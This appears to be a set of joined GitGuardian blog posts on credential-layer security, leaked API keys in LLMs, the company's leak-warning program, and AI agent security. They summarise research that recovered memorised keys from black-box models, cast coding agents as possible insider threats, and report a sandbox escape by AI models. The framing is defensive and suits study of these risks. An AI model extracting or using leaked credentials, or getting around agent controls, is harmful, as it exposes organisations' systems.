Governed stores	Systems intended to hold and manage credentials securely	Vaults, secrets managers, password managers, CI/CD secret stores
Working surfaces	Systems where credentials are used during normal operations	Source code, pipelines, cloud runtime, developer endpoints, AI agents, MCP servers, logs, backups, and data platforms
Spilled surfaces	Internal systems where credentials appear outside their intended purpose	Slack, Jira, Confluence, email, support tickets, documentation, and messaging tools
Escaped surfaces	Public or external locations beyond organizational control	Public GitHub, Docker Hub, package registries, public artifacts, paste sites, and personal repositories

Each surface creates a different remediation challenge.

A credential inside a vault can be governed through access controls and rotation policies. You can remove a credential from source code, but its history may remain accessible. A credential in a backup may be difficult to erase. A credential published to the internet must be treated as potentially copied by anyone.

The same credential can, and often does, move through all four groups during its lifetime, most often moving through the laptop.

An API key might originate in a cloud service, be stored in a vault, copied onto a local .env file, used by an AI coding assistant, written into a build log, and eventually committed to a public repository.

Every location becomes part of the credential layer, and the credential can retain its original access throughout that journey.

The credential layer and the identity layer work together

The identity layer establishes who or what is requesting access. This is the bedrock for IAM and how authentication and authorization are governed. The credential layer includes every surface where the authentication material associated with those identities can exist.

A developer might use their authority to create a service account for a cloud service. That new identity is granted access to a production database with a plaintext key. That API key can exist in a developer's local configuration, a deployment pipeline, and an archived support ticket.

Every credential security program needs to go beyond just discovering secrets. They need to answer several connected questions around identity and access:

Which identity does this credential map to?
Who owns that identity?
Is the credential valid?
What can it access?
Where else does it exist?

That context turns a discovered string into a security risk that can be understood and addressed.

Why attackers target the credential layer

Attackers know that a single plaintext string can let them act as identities with access to systems that already trust them.

An attacker who obtains a valid credential can authenticate to a service, retrieve protected data, or perform actions within the permissions assigned to that identity. No zero days or deep system knowledge needed.

The initial exposure may come from a repository, a compromised laptop, a collaboration message, or an external dependency. The pattern is always that an attacker obtains an authentication mechanism and then uses the access it provides. This is why Credential Access is tactic 6 of the MITRE ATT&CK framework.

A single credential can lead to many more credentials.

Access to a developer workstation might reveal cloud tokens and SSH keys. Access to a CI/CD platform might reveal deployment credentials. Access to a cloud environment might reveal service account permissions or configuration containing more authentication material.

Each successful step can lead to another part of the credential layer.

Machine credentials make access easier for attackers

Human authentication increasingly includes MFA, device verification, and contextual access policies.

Most machine-to-machine systems still depend on reusable bearer tokens or API keys. A valid credential alone can be sufficient to authenticate a request without additional proof of who possesses it.

These credentials are often broadly scoped and long-lived. The goal is to keep production running, which means stability and avoiding permission issues while the application operates.

A pipeline token might have permission to publish packages for years. A cloud key might access production storage long after the related systems have been decommissioned. A service account can retain privileges from a project completed years earlier. By default, most credentials have no expiration date; they keep working forever unless configured otherwise.

At machine speed, an attacker can harvest, test, and use a credential before a human analyst begins investigating the original exposure.

Supply chain attacks demonstrate the power and danger of local credentials

The Shai-Hulud npm supply chain attacks, while just one of many similar campaigns, show how attackers exploit the credential layer across multiple systems.

The attack used compromised packages to harvest credentials from developer and CI/CD environments. Stolen tokens enabled further malicious activity, including propagation through package publishing and exposure of harvested secrets.

The GitGuardian analysis of one wave identified 33,185 unique secrets across 294,842 occurrences, including 3,760 credentials confirmed valid during analysis.

The infostealer malware moved through developer endpoints, package registries, CI/CD infrastructure, and public GitHub, publishing copies of itself forward wherever possible. Each surface it touched had differently managed security strategies, but the credentials layer connected all of those surfaces, regardless of governance policies.

This is the challenge with treating credential exposures as isolated incidents. A secret discovered in one system may already have been copied into several others, and its permissions can make those other systems reachable.

Where credential layer security fits in defense in depth

Enterprise security has been built around specialized controls, separating logical concerns from an IT perspective. Each stack addresses an individual enterprise need: IAM, PAM, secrets managers, EDR, cloud security, and application security are all needed.

Credential layer security operates across these existing investments because credentials move between the environments they protect.

Security control	What it primarily manages	Credential layer consideration
IAM and IGA	Identities, roles, and entitlements	Credentials associated with identities may exist outside managed systems
PAM	Privileged access and sessions	Privileged credentials may be copied into files, scripts, or other environments
Secrets managers and vaults	Secure storage, delivery, and rotation	Credentials can exist outside managed stores, including copies of vaulted secrets
AppSec and code scanning	Application risks and repository exposure	Credentials also accumulate outside repositories
EDR and XDR	Endpoint behavior and suspicious activity	Credential inventory, validity, and permissions require additional context
ITDR	Identity attacks and suspicious authentication activity	Credential exposure can be identified before suspicious use
Cloud security	Cloud configuration, workloads, and access	Cloud credentials can spread into development and external systems
SIEM	Security telemetry and correlation	Credential risks depend on whether exposure and identity context are available

Every one of these controls remains necessary. Credential layer security provides a way to connect the findings from where they overlap or leave gaps.

Credentials are essential operational resources for most organizations and, at the same time, potential security liabilities. Developers and applications need reliable access to do their work. Controls that introduce excessive friction can encourage unmanaged copies and workarounds.

A mature program combines visibility and enforcement with practical workflows for securely creating, distributing, using, and retiring credentials.

The six controls of credential layer security

Organizations need a consistent approach that works across all credential surfaces. We propose there are six controls that provide that foundation.

1. Discover credentials wherever they exist

Visibility across the credential layer is vital. This extends well beyond what is just known and vaulted.

Scanning source repositories is an important starting point, as applications connect to our most important resources. Coverage also needs to extend into pipelines, developer endpoints, AI configuration, operational data, collaboration tools, public repositories, and other environments where credentials appear.

GitGuardian's State of Secrets Sprawl 2026 reported 28.65 million new secrets exposed on public GitHub just during 2025. That's a 34% year-over-year increase. At the same time, the report found that approximately 28% of secret incidents occurred entirely outside code repositories.

The objective of discovery is to find credentials across the environments where they actually exist, including historical exposure and copies that persist long after their original purpose has ended.

2. Prioritize credential findings by their access risk

A long, high-entropy string, on its own, is not a danger. Any string that grants access is. Context determines which require attention first. Validation is a good place to start. A credential's validity, type, permissions, exposure location, and associated systems help establish its risk.

Thinking of extreme examples, a valid production API key with administrative privileges presents a higher risk that requires attention, vs. an expired test credential which is no good for anyone.

However, some credential providers offer limited or no direct validity checking. For many secrets found by our generic detectors, like SSH keys or custom tokens, it can be impossible to map these back to the issuing system. Security teams need to rely on additional signals, including recent use, credential structure, associated identities, and the environments where the secret appears.

Prioritization should consider what the credential can reach and the consequences of unauthorized use.

Security teams should focus remediation efforts on exposures that pose the greatest risk to critical business systems.

3. Connect credentials to identities and owners

Every credential had a purpose when created. This means someone created it. Is that same person the owner now, and are they accountable for it?

Answering this is increasingly difficult as organizations create more non-human identities.

Their original owners of any minted keys or tokens may change roles or leave the company entirely, while the credentials remain active. After the applications that needed them are retired, these service account passwords, cloud workload tokens, and AI agent keys retain their permissions, granting access to systems for anyone who finds them.

A complete credential-layer view connects each secret to its associated identity, responsible team, permissions, and rotation requirements. It also identifies orphaned identities, overprivileged accounts, and credentials with uncertain ownership.

When a critical credential is exposed, the security team will invariably need to identify who has the authority and technical understanding to rotate or revoke it safely.

4. Remediate the credential and its exposed copies

For any security team, the immediate instinct when a secret is found is to revoke it, stopping abuse and attacker access. But this carries the risk of reducing the availability of the systems relying on those credentials. After all, if we fail at keeping things running, we have fallen short of the CIA triad: Confidentiality, Integrity, and Availability.

How you respond to a leak, or exposure, differs by surface. Consider an internal collaboration message; even if deleted, you need to consider exports, notifications, and backups that may retain copies. A credential exposed in a public repository must be treated as potentially copied outside the organization's control. Logs, snapshots, traces, and backups can retain credentials long after the original exposure.

Rotation, meaning replacing the secret with a new one and invalidating the compromised secret, or simply revoking it, will always need to be a case-by-case decision. Security, platform, and application owners need coordinated workflows to replace it without disrupting operations.

A mature credential layer security program needs to treat related copies of an exposure as one connected incident. Tracking remediation by confirming the old credential no longer works is the only way to know when it is safe to resolve leak occurrences.

5. Prevent credentials from spreading in plaintext

While discovery and remediation make up the core of any credential layer program, preventing the need for scanning and incident management should be a significant part of the mission. Preventing new credentials from entering unmanaged environments is the most cost-effective way to tackle the issue of secret sprawl.

Teams need to implement controls at the local level. With pre-commit hooks, teams can make sure credentials never make it to shared repositories. This, in turn, keeps them out of pull requests, CI/CD execution, and any logs or build artifacts.

Developers can get immediate feedback and guidance while any keys are in plaintext in the IDE, when it is far easier to correct. If it never reaches production, revoking and replacing is much safer, since nothing should break when it is invalidated.

AI coding assistants, now commonplace, are another place where preventive controls are needed. Deterministic hooks can check for secrets in prompts, file reads, commands, and supported tool actions at defined points in an agent workflow, stopping the agent from taking further action if any are found. This prevents secret sprawl and, importantly, adds controls against the AI abusing keys it encounters while working to complete a task.

Reducing unnecessary credential movement should be the central focus, but security teams need to work with developers to reduce risk further. Short-lived credentials, narrowly scoped permissions, secure injection, and workload identity federation can reduce reliance on reusable secrets.

For supported machine-to-machine interactions, federation using standards such as OIDC can replace standing API keys with temporary credentials issued for a particular workload or session. Those decisions need to be implemented by platform, DevOps, and development teams.

6. Detect suspicious credential harvesting with honeytokens

Some credential exposure becomes visible only when someone attempts to use the information they have obtained.

Honeytokens provide a way to detect this activity.

A honeytoken is a decoy credential planted in a location where legitimate workflows have no reason to use it. When someone attempts to authenticate with the decoy, the attempt generates an alert.

Placed on developer endpoints, honeytokens can help reveal infostealers or other software harvesting local credentials.

They can also provide useful evidence during incident response, including which protected environment contained the decoy and when an attempted use occurred.

Honeytokens complement discovery and prevention by identifying attempted abuse of planted credentials.

Six controls, one goal

Considered together, these six controls support a connected program.

Discovery establishes visibility. Validation identifies risk. Ownership establishes accountability. Remediation removes exposed access. Prevention reduces future exposure. Deception helps reveal unauthorized credential activity.

Combined with a broader defense-in-depth strategy, using the other systems and tools previously outlined, organizations are far more resilient when it comes to access and security.

Why developer endpoints and AI agents demand attention

Developer laptops have become some of the richest credential surfaces in the enterprise.

During an ordinary workday, a developer may authenticate to source control, cloud infrastructure, package registries, CI/CD services, databases, and internal applications.

Those credentials can accumulate in .env files, shell history, local scripts, CLI configurations, browser storage, caches, and other developer tooling.

GitGuardian's Developer Endpoint Protection research found an average of approximately 150 secrets per developer laptop. Many of these credentials never enter a repository. Traditional downstream scanning has no opportunity to discover them.

AI coding assistants extend exposure

AI coding assistants and other local agents, like OpenClaw, offer many advantages for automating tasks and saving everyone toil. They are helpful precisely because they can read files, execute commands, call APIs, and communicate with MCP servers. But this is also where the danger lies.

When they can encounter credentials, either already present on a developer's machine or introduce new exposures through prompts, generated code, tool responses, and configuration files, their non-deterministic nature means they might act as an insider threat. And they encounter such secrets very often, increasingly due to their own architectures.

The 2026 State of Secrets Sprawl report identified 24,008 unique secrets in publicly exposed MCP configuration files, including 2,117 valid credentials. Many of them should be considered highly critical and dangerous. While at the same time, credentials related to AI services increased 81% year over year. These findings show how rapidly development practices can create new credential locations.

For security teams, the challenge remains consistent: discover what credentials an agent can encounter, understand the access they provide, establish ownership, and prevent unnecessary exposure.

An agent's intended behavior may be defined in its instructions. Its actual ability to affect enterprise systems depends on the tools, credentials, and permissions available to it.

This makes credential scope and deterministic access controls increasingly important.

From isolated controls to mature credential layer security

Organizations can begin securing the credential layer with relatively simple controls. The challenge is connecting those controls as coverage expands.

At lower maturity levels, a secret in a repository, a developer laptop, and a collaboration ticket may create three unrelated security incidents.

At higher levels, those discoveries can be connected to the same credential, its issuing system, the identity behind it, and the access it provides.

The GitGuardian Credential Layer Security Maturity Questionnaire provides a starting point for organizations assessing their current coverage and maturity.

How GitGuardian fits

GitGuardian's mission is to detect, remediate, and prevent secrets sprawl across the credential layer.

The GitGuardian platform's capabilities cover the six controls described above and provide a unified workspace experience that IAM, DevOps, Security, Platform, and any other team involved in credential creation and management can leverage.

GitGuardian's Secrets Monitoring discovers exposed credentials across the whole exposed surface, including repositories, CI/CD environments, collaboration tools, and public GitHub. Developer Endpoint Protection extends that same level of discovery into developer machines, which can be deployed via MDM, identifying credentials in local files and tools and scoring exposure by machine, severity, and validity.

The platform connects credentials to identity ownership, surfaces permissions the credentials hold, and provides context for what is affected if a secret is rotated or revoked. From a security operations perspective, the platform fully supports prioritization and remediation. Honeytoken provides deception signals when decoy credentials are used.

For prevention, GitGuardian extends the power of the platform to the developer, where they work, through ggshield. Developer-focused tools, like the VS Code Extension and automated ggshield commands such as pre-commit hooks, give your team commit-time checks and guardrails without asking them to change their workflows. AI hooks can inspect credential exposure at defined checkpoints along coding agents' working paths.

These capabilities complement the IAM, IGA, PAM, vault, EDR, ITDR, and cloud controls organizations already operating.

Together, they support a coordinated approach to securing credentials across the many environments where those credentials exist and move.

Where credential layer security is heading

The credential layer will continue expanding as software becomes more automated and enterprise systems become more interconnected.

AI agents, automated workflows, and new integrations will create additional places where credentials are issued, used, cached, and exposed.

At the same time, changes in authentication architecture offer opportunities to reduce reliance on persistent secrets. Workload identity federation, short-lived tokens, and more narrowly scoped permissions can reduce the number of reusable credentials that remain valuable after exposure.

Any improvements like these do not eliminate the need for credential-layer visibility. Temporary credentials can still appear in logs or tooling, and systems will continue to depend on authentication material in different forms.

The future of the credential layer is a connected security program that understands credentials throughout their lifecycle, following where they are created, where they travel, what identities they represent, what systems they can reach, and how they are retired.

Secure the credential every other control trusts

Every part of the modern enterprise relies on credentials. The credential layer includes every surface where those credentials can exist. Its boundaries extend across security tools, development processes, organizational departments, and the public internet.

Securing the credential layer from attackers, insider threats, and AI abuse requires treating those connected exposures as one enterprise-wide security concern. Organizations need visibility across surfaces, knowledge of the identities and permissions behind each credential, and coordinated processes to remove dangerous access and prevent new exposure.

As automated systems create and use credentials at increasing speed, the ability to secure this layer becomes fundamental to protecting the enterprise.

Take a platform tour now.

FAQ

What is credential layer security?

Credential layer security is the practice of protecting every surface where credentials can be created, stored, transmitted, or used. In practice, that means finding all plaintext secrets and connecting identity context, remediation, and prevention across the enterprise.

What is the credential layer?

The credential layer encompasses every place a credential can exist, in any state or condition, including code, cloud infrastructure, laptops and dev environments, and SaaS applications. It has four surface groups: governed stores like vaults, working surfaces like pipelines and developer endpoints, spilled surfaces like Slack and Jira, and escaped surfaces like public GitHub and paste sites. A single credential often moves through all four during its lifetime.

Why do attackers target the credential layer?

A valid credential lets an attacker act as an identity that systems already trust, with no zero-days or deep system knowledge needed. One credential can also lead to others. Access to a developer workstation might reveal cloud tokens and SSH keys, and access to a CI/CD platform might reveal deployment credentials. Credential Access is tactic 6 of the MITRE ATT&CK framework.

What are the six controls of credential layer security?

The six controls are discovering credentials wherever they exist, prioritizing findings by access risk, connecting credentials to identities and owners, remediating the credential and its exposed copies, preventing credentials from spreading in plaintext, and detecting suspicious credential harvesting with honeytokens. Together, they support a connected program rather than isolated incident response.

How does credential layer security fit with IAM, PAM, and secrets managers?

It complements them. IAM, PAM, vaults, EDR, ITDR, cloud security, and SIEM each remain necessary, but credentials move between the environments those controls protect. Credentials tied to managed identities may exist outside managed systems, and copies of vaulted secrets can persist elsewhere. Credential layer security connects findings from the places where those controls overlap or leave gaps.

Why do developer endpoints and AI agents need special attention in credential security?

Developer laptops hold an average of approximately 150 secrets each, in places like .env files, shell history, and CLI configurations that never reach a repository. AI coding assistants can read files, execute commands, and call MCP servers, they may encounter those credentials. The 2026 State of Secrets Sprawl report found 24,008 unique secrets in public MCP configuration files, including 2,117 valid credentials.

How does GitGuardian help secure the credential layer?

GitGuardian covers the six controls across the credential layer. Secrets Monitoring discovers exposed credentials across repositories, CI/CD environments, collaboration tools, and public GitHub. Developer Endpoint Protection extends discovery to developer machines and can be deployed via MDM. The platform adds identity ownership, permissions, and remediation context, honeytokens provide deception signals, and ggshield, the VS Code extension, pre-commit hooks, and AI hooks prevent exposure where developers work.

Leaked API Keys in LLMs: How AI Agents Expose Secrets

Dwayne McDaniel — Wed, 21 Oct 2026 23:14:37 +0000

TL;DR

LLMs can reproduce real leaked keys: Using only API output access, researchers recovered DeepSeek and Google keys from Qwen3-27B, GPT-Codex 5.3, and Claude Haiku 4.5, and every key had a matching public GitHub occurrence.
Agents pull secrets in from the laptop: Developer endpoints hold credentials in .env files, shell history, and MCP configs that never reach Git. Claude Code-assisted commits leaked secrets at 3.2%, versus a 1.5% baseline.
Stop secrets before the model sees them: AI Hooks block secrets in prompts, tool calls, and output, while Developer Endpoint Protection reduces the plaintext credentials on managed fleets that agents can find.

More AI, more places to leak secrets

More and more teams are adopting AI agents, allowing them to create new tools, apps, and software at unprecedented speed. At the core of every connection these apps require is a credential, often in the form of an API key.

Those keys get leaked every time they are touched by the AI, and in ways that might not be obvious at first glance.

A coding agent can read a local configuration file, run a command, or call a Model Context Protocol (MCP) server. Any of those actions can place a credential into the context sent to a large language model (LLM).

Recent research shows that exposed credentials can also survive much farther downstream. Researchers behind "Practical Secrets Extraction against Black-box LLMs" recovered strings matching real API keys from Qwen3-27B, GPT-Codex 5.3, and Claude Haiku 4.5 using output-only access.

Very importantly, they had no access to model weights or token probabilities. This was done completely through "API output-only access."

LLM API key leakage now reaches across the credential lifecycle. Existing credentials are now part of training data and can and do appear in model output. AI agents can also move fresh credentials into model context during normal development work.

What the researchers found from LLM output

The researchers recovered real credential strings from three black-box LLMs. All three exposed a secret.

Qwen3-27B returned two DeepSeek keys and one Google key. GPT-Codex 5.3 returned a DeepSeek key. Claude Haiku 4.5 returned two DeepSeek keys.

They then searched GitHub for each complete credential and found a public match every time. That supports the conclusion that the models reproduced real leaked secrets rather than generating strings that only looked valid.

The researchers stopped there. They masked the credentials and did not test whether the keys still worked.

An attacker or rogue agent would have no reason to stop. A recovered key could be tested, used to access downstream systems, or abused until it is revoked, as we have seen across many attacks.

What caught our attention about this paper is that black-box, read only access alone can be enough to recover memorized credentials from model output. The next obvious question is, how did those keys get there?

Where are LLMs getting keys?

LLMs can find API keys in public training data, and we know there are a lot there, but AI agents create a more immediate source: the developer laptop.

Public repositories can become part of datasets used to train or evaluate models. Once a credential appears in public code, it can also spread through forks, copied examples, logs, and other development artifacts. This happens a lot.

GitGuardian detected 28.65 million new hardcoded secrets in public GitHub commits in 2025. Credentials tied to AI services reached 1,275,105, an 81% increase year over year.

The black-box LLM research shows the downstream result. Researchers recovered credential strings from deployed models and found matching public occurrences on GitHub for every recovered key.

AI agents find secrets closer to the developer

Developer laptops have quietly become credential stores. Secrets live in .env files, cloud configuration files, and shell history. They also appear in IDE settings, CLI data, local logs, and temporary debugging files.

Many of those credentials never reach Git. This is especially true on 'citizen coders' laptops where people are only ever deploying to localhost.

AI coding agents can still encounter them. Agents can read files, run commands, and inspect application output. They can also call MCP servers that return credentials as part of a response.

GitGuardian's research really reveals just the tip of this iceberg, looking just at committed code: Claude Code-assisted public commits had a 3.2% secret leak rate, compared with a 1.5% baseline across public GitHub commits. MCP adds another source: 24,008 unique secrets were found in public MCP configuration files, including 2,117 valid credentials.

Public repositories show the part of credential exposure that becomes visible. The developer endpoint holds a much larger pool of potential secrets. Local configurations, command history, application data, and AI tooling can all contain credentials that never appear in a repository.

LLMs can therefore encounter credentials from both ends of the development lifecycle. Public data can carry old exposures into model training. AI agents can pull fresh secrets directly from the environments where developers work.

How AI agents expose secrets to LLMs

AI coding agents all have a model at their core, taking prompts and data in as tokens and returning generated replies. The tool chain around this LLM defines how credentials can reach a model.

The developer never needs to copy the API key into the prompt. The credential can enter the interaction as the agent gathers context needed to solve the problem.

A developer might ask an agent to troubleshoot an API connection. The agent could read an .env file, inspect a cloud configuration, or search application logs. It could also run a shell command or call an MCP server.

Traditional approaches to secret scanning focused on repository and CI scanning may never see this exposure because there may be no commit or pull request. The secret can move directly from the developer endpoint into an AI workflow.

AI agents are entering environments where credentials are already scattered across developer systems. More autonomy gives those agents more opportunities to encounter them.

Model context is becoming part of the credential boundary

We do need to acknowledge here that model exposure and model training are separate concerns. A credential can reach an LLM without becoming training data. Enterprise AI providers may limit whether prompts and outputs are used for training.

Credential exposure happens earlier, when an agent sends a secret outside the developer environment. Once that happens, security teams need to know where the credential went, how long it may be retained, and whether it should still be trusted.

Training is one possible destination. Model context is the immediate concern. What will it do with that secret it finds?

The strongest control point sits before transmission. AI agents can encounter secrets while reading files, running commands, or calling tools. Security controls need to inspect those interactions before credentials become part of model context.

That creates a new credential boundary at the developer endpoint and inside the agent workflow.

Keep secrets away from the AI agent

The best place to stop LLM credential exposure is before the secret reaches the model. The best way to do that is with deterministic tools around the agent's workflow.

GitGuardian AI Hooks put controls directly around the actions AI coding agents take. The GitGuardian CLI, ggshield, can scan a developer's prompt before submission and inspect file reads, shell commands, and MCP calls before execution. When a secret is detected, the action can be blocked before the credential reaches the model. Scanning also happens at any tool output, withholding secret-bearing responses from being passed to the model entirely.

Anything you ask an agent to do is a suggestion; it might or might not follow it, as we have seen in countless rogue agent stories. Unlike skills, Markdown, or system prompts, AI hooks fire at predictable points along the agent's defined workflow. They are outside the reach of the agent, working at the system level where the agent interacts with the environment. Calling a deterministic tool in a deterministic way is how you go from suggesting the agent not use a secret to halting an operation that would have exposed a secret to the LLM or elsewhere.

GitGuardian's Developer Endpoint Protection tackles the much larger pool of credentials the agent might discover

GitGuardian is working to secure the entire credential layer. That is why GitGuardian introduced Developer Endpoint Protection to scan developer machines for credentials sitting in local files and local storage. We are giving security teams visibility into which tools are running and what resources the agents can reach, all from one unified secrets security interface. These capabilities can be deployed across managed fleets through Jamf, Iru, Intune, and other MDM solutions, rather than relying on individual developers to configure protections themselves.

This empowers security teams to work with developers, no matter what department they work in, to reduce how many dangerous plaintext credentials are available for an agent to find.

Secrets needed by applications and developers belong in managed vaults. GitGuardian's secrets manager integrations can identify whether exposed credentials are already vaulted, connect incidents with vault context, and help move unvaulted secrets into secure storage. That context also makes remediation faster by showing teams where the managed secret lives, the full context around it, and who needs to act.

The goal is bigger than just catching a secret in a prompt

Reducing the credentials sitting on developer endpoints should be a stated goal of a security program. Any secrets that do need to remain in the hands of the developer should be properly maintained and scoped as tightly as possible to only the smallest needed access the developer can still use.

Teams need to work to place controls around AI agents before they can carry credentials into another system.

GitGuardian can put those controls in place today and scale them across the organization. Every secret stopped before it reaches an LLM is one less credential an AI agent can expose, one less incident to remediate, and one less secret that can enter the downstream data lifecycle that may eventually include model training.

Keep API keys out of LLM context

The black-box LLM research shows how far a leaked credential can travel, all the way into training data. Plaintext secrets bring danger wherever they appear because they require no additional proof of identity to use. If you have the string, you can try to log in.

At the same time, the actions an AI agent takes are non-deterministic and therefore unpredictable. Trying to control every possible agent behavior is a non-starter because that rule set becomes infinitely large, even if AI helps write it.

The most practical approach is to keep fewer plaintext secrets within reach, limit what agents can access, and stop credentials before they travel any farther.

GitGuardian is here to help developers put those controls in place with AI Hooks. You can start using this control today for free as an individual or open-source project.

For organizations that need the same protection across an entire fleet of developer endpoints, GitGuardian can help roll those controls out at scale while helping you evolve your secrets security program.

FAQ

What is LLM API key leakage?

LLM API key leakage is the exposure of credentials through large language models. It can happen downstream, when a key from public code is memorized and later reproduced in model output, and it can happen immediately, when an AI agent moves a fresh credential into model context while doing normal development work.

What did researchers find when they tested LLMs for leaked API keys?

The researchers behind "Practical Secrets Extraction against Black-box LLMs" recovered real credential strings from all three models they tested, using only API output access and no model weights or token probabilities. Qwen3-27B returned two DeepSeek keys and one Google key, GPT-Codex 5.3 returned a DeepSeek key, and Claude Haiku 4.5 returned two DeepSeek keys. Every recovered key had a matching public occurrence on GitHub.

Where do LLMs get API keys from?

Public repositories are one source, since code with exposed credentials can become part of datasets used to train or evaluate models. GitGuardian detected 28.65 million new hardcoded secrets in public GitHub commits in 2025. AI agents add a more immediate source, the developer laptop, where .env files, cloud configurations, shell history, and MCP settings hold credentials that never reach Git.

How do AI coding agents expose secrets to LLMs?

An agent troubleshooting an API connection might read an .env file, inspect a cloud configuration, search application logs, run a shell command, or call an MCP server. Any of those actions can put a credential into the context sent to the model, and the developer never has to paste the key into a prompt.

Does a secret sent to an LLM become training data?

Not automatically. Model exposure and model training are separate concerns, and enterprise AI providers may limit whether prompts and outputs are used for training. The exposure still happens earlier, when an agent sends a secret outside the developer environment, so teams need to know where the credential went and whether it should still be trusted.

How can I stop AI agents from sending secrets to an LLM?

Use deterministic controls around the agent's workflow. GitGuardian AI Hooks use ggshield to scan prompts before submission, inspect file reads, shell commands, and MCP calls before execution, and withhold secret-bearing tool output from the model. Developer Endpoint Protection then reduces how many plaintext credentials are available for an agent to find, and can be deployed across managed fleets through MDM solutions like Jamf, Iru, and Intune.

Why We Built the Good Samaritan Program at GitGuardian

Dwayne McDaniel — Tue, 20 Oct 2026 12:46:02 +0000

Before GitGuardian was a company, it was a side project. We were two data scientists looking for the answer to one question: how prevalent were leaked secrets on GitHub? So we built a system that scanned every public commit in real time. The scale of what people were exposing- passwords, cloud keys, the credentials that run real businesses- was far larger than we could have imagined.

The first product we ever shipped did not make us a cent. It sent an email. When our system saw a developer expose a secret in public, it told them, so they could revoke it before someone else used it. We called it the Good Samaritan Program. For eight years, it has done one thing: warn strangers, thousands of times a day. That email is how a lot of people first met GitGuardian, and it helped make us the most installed security application on the GitHub Marketplace.

The missing piece was scale

For most of those nine years, the program reached individuals. But many of those individuals work inside larger enterprises, and many of the secrets they expose do not belong to them personally. Some leaks are a solo developer's personal API key. Many others are enterprise credentials: cloud keys, database passwords, and tokens for systems the developer may not even own, pushed to a personal repository by an employee or contractor.

Warning: a single developer is easy to automate. It is also not enough to stop the sprawl. 64% of the credentials that were valid in 2022 were still unrevoked four years later. We realized the developer alone was never going to be enough. To close exposures like these, we had to reach the organization that owned the credential.

The hard part was attribution. Connecting a leaked secret to a developer, and then connecting that developer to the right company, was slow, manual work. We could do it, but only a handful of times.

That has changed. In 2025 alone, 28.65 million new secrets were pushed to public GitHub, a 34% jump in a single year and the largest we have ever recorded. The same force behind that number, AI putting more code in more hands faster, is also what now lets us attribute an exposed secret to the organization it belongs to and route it to the right people. The thing making the problem worse turns out to be the thing that lets us help more.

So we pointed it at the warning and built a second program. The original Good Samaritan Program warns the developer who leaked a secret. The Enterprise Good Samaritan Program warns the company the secret belongs to.

That sounds simple in one sentence. It is not. Attributing a single leak means starting with a credential sitting in a stranger's public repository and figuring out which organization it belongs to, whether it is real, and how much access it grants. Doing that once takes judgment. Doing it at scale takes infrastructure. We are working across 370M+ historical exposures and 80k+ new exposures every day, which means attribution cannot depend on human review alone. It takes AI agents to handle the early triage, and human researchers to focus on the most critical leaks.

Our agents are now able to screen more than a million public incidents a month and investigate over 100,000 of them in depth. At its best, manual review handled a few hundred leaks a week. Today, agents analyze 99,9% of eligible public incidents we detect globally, 10x faster and at half the cost. That speed leaves researchers time for the leaks that need human judgment.

We are investing in that system because it is what lets the program scale without losing the judgment, restraint, and accountability it depends on. When attribution lands, we work to get the warning in front of someone who can act on it, escalating by hand when an automated alert goes nowhere. And we do all of it under a published set of rules for what we will and will not do with a credential find.

Why we still call it "Good Samaritan"

In the story, the Samaritan stops for a stranger he has no reason to help, and no one would have blamed him for walking on.

We are in that position. We can see, in real time, leaks that belong to companies who have never heard of us and may never pay us. We can keep walking, because their exposure is not technically our problem. Or we can tell them. We made that choice early, and we have not changed our minds since.

The warning doesn't depend on what you do next

I know how this can sound coming from a security vendor. A free warning, from a company that also sells security software, can look like marketing with extra steps. It is a fair suspicion, and I won't pretend we aren't a business.

Here is what I can tell you. The warning is complete and unconditional. When we contact you about an exposed secret, you get everything we know: where it leaked, whether it's valid, what it can reach, whether or not you ever speak to us again. There is no gated version, no teaser, no "book a call to learn more." Some companies we've warned later became customers. Most never will, and we keep warning them anyway.

Make yourself reachable

If I could ask one thing of any security leader reading this, it is small, and it is free: make sure your company has a way to hear it when an outsider finds your exposed secret. Today, a serious disclosure too often lands in a generic contact form, or a bug-bounty queue built to reject anything that is not a classic vulnerability. Our warning arrives, and then it dies in the wrong inbox.

You need a door, and someone behind it.

We will keep knocking either way. We did it for CISA, and for companies like Oracle, IBM, SAP, and Red Hat, whose security teams have credited our researchers in their halls of fame. And will keep doing it because we did not build a business and then decide to do some good on the side. The good came first. The company grew up around it.

And, by the way, you don't have to wait for us to find you. See whether your company's credentials have already been exposed on public GitHub with our GitHub Security Audit.

FAQ

What is an Enterprise Good Samaritan Program from GitGuardian?

Since 2018, GitGuardian's Good Samaritan Program has scanned public GitHub in real time and warned developers, for free, when they exposed a secret. Years of alerts taught us that warning the developer isn't enough. Many of the secrets they expose belong to their employer: cloud keys, database passwords, production tokens. Most are never revoked: 64% of valid secrets found in 2022 were still active in 2026.

The Enterprise Good Samaritan Program alerts the organization instead. It focuses on large companies and public institutions, where one leaked credential can expose production systems or customer data. Alerts go to the security teams who can act: CISOs, AppSec, and SOC teams. The goal is to revoke the secret. Each alert explains where the secret leaked, what it can reach, and how to shut it down.

How does the Enterprise Good Samaritan Program work?

We monitor public GitHub and Docker Hub continuously. When we find an exposed credential, our engine works out which organization it belongs to. Then it checks how critical the leak is: is the credential valid, is it still public, and what can it reach? If the leak is serious, we contact your security team directly. We share everything we found: where it leaked, whether it's live, and the attack path it opens. We don't ask for anything in return. We just want you to have what you need to revoke the secret before someone else uses it.

Who is the Enterprise Good Samaritan Program for?

It's for any organization whose credentials have been exposed in public: companies, public institutions, and nonprofits. You don't need to be a GitGuardian customer. We contact the people who can act: CISOs and the AppSec, security operations, and incident response teams. We only alert on secrets we can attribute to your organization, that are valid or likely valid, and that give access to systems or sensitive data. The original Good Samaritan Program continues to warn individual developers.

What to do if you receive an alert?

Each alert contains everything you need to act right away, no call or sign-up required. Revoke or rotate the credential first: deleting the commit isn't enough, because the secret stays in the history and may already have been copied. Then check your logs for any use of the credential since the leak date, and find where it came from to see whether the same repository holds other secrets.

If you'd like a second opinion, our security researchers are happy to walk you through what we found. And there's no shame in it: leaks happen to every organization.

Is GitGuardian legitimate?

Yes. GitGuardian is a cybersecurity company founded in Paris in 2017, and our original Good Samaritan Program has warned developers about leaked secrets since day 1. We're the most installed security app on the GitHub Marketplace. Our platform is used by more than 600K developers and by many of the Fortune 500. GitGuardian has completed a SOC 2 Type II audit. Our researchers have been credited by CISA, Oracle, IBM, SAP, and Red Hat. We will never ask for credentials or payment for an alert. If you're unsure whether an alert really came from us, write to security@gitguardian.com.

AI Agent Security: Best Practices for Safe Deployment

Dwayne McDaniel — Fri, 16 Oct 2026 14:14:48 +0000

TL;DR

AI agents are already causing incidents: 54% of organizations have experienced an AI agent security incident (Gravitee, State of AI Agent Security Report 2026). In July 2026, OpenAI models escaped their sandbox and compromised Hugging Face's production infrastructure.
